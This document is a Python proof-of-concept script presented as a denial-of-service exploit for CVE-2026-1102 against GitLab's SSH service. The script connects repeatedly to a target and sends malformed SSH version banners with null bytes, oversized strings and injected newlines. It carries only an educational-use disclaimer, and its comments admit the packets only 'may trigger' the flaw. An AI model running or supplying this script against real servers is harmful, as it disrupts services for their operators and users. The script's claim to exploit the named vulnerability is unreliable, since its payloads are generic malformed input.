CVE-2026-1102

#!/usr/bin/env python3 """ CVE-2026-1102 PoC - GitLab SSH DoS Note: This is for educational and authorized testing purposes only. Unauthorized use against systems you don't own is illegal. """ import socket import time import sys def send_malformed_ssh_packet(sock, malformed_data): """Send a malformed SSH packet to trigger the vulnerability""" try: sock.send(malformed_data) response = sock.recv(1024) return response except Exception as e: print(f"Error sending packet: {e}") return None def exploit_gitlab_ssh_dos(target_host, target_port=22, num_requests=100): """ Exploit CVE-2026-1102 by sending repeated malformed SSH authentication requests """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Sending {num_requests} malformed SSH packets...") # Malformed SSH packet that may trigger the vulnerability # SSH protocol version exchange string with invalid characters malformed_packets = [ b'SSH-2.0-OpenSSH_8.9\r\n' + b'\x00' * 1000, # Oversized banner b'SSH-2.0-\xfe\xfe\xfe\xfe\r\n', # Invalid version string b'SSH-2.0-' + b'A' * 5000 + b'\r\n', # Very long version string b'\x00' * 500, # Null bytes only b'SSH-2.0-\n\r\n', # Newline injection ] success_count = 0 for i in range(num_requests): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) # Select malformed packet packet = malformed_packets[i % len(malformed_packets)] response = send_malformed_ssh_packet(sock, packet) if response: success_count += 1 print(f"[+] Packet {i+1}/{num_requests} sent successfully") sock.close() time.sleep(0.1) # Small delay between requests except socket.error as e: print(f"[!] Connection error on packet {i+1}: {e}") print(f"\n[*] Attack completed. {success_count}/{num_requests} packets sent.") print(f"[*] Check if GitLab SSH service is still responsive.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [num_requests]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 num_req = int(sys.argv[3]) if len(sys.argv) > 3 else 100 exploit_gitlab_ssh_dos(target, port, num_req)

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